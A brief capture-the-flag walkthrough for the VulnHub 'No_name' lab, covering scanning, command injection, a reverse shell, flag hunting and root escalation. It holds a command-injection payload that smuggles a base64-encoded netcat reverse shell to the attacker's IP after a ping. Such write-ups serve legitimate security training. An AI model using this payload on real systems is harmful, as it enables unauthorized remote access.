https://www.vulnhub.com/entry/haclabs-no_name,429/

---

Run a nmap scan to find for open ports.

---

Run a gobuster scan to find for hidden directories.

---

---

---

---

Since we are unable to send nc commands , let’s encode it in base64.

---

Let’s send the encoded nc payload.

ping 127.0.0.1 | echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTguMiA0NDM=" | base64 -d

---

Start a nc listener and a shell will be gained once the query is sent.

---

In the home directory of the yash user we found the first flag which contains a clue.

---

In the haclabs directory there is the second flag.

---

Use the find command to find for hidden files.

Password found.

---

Upgrade the python shell and switch user to haclabs.

---

Head to GTFO bins to find for an exploit.

---

Root gained.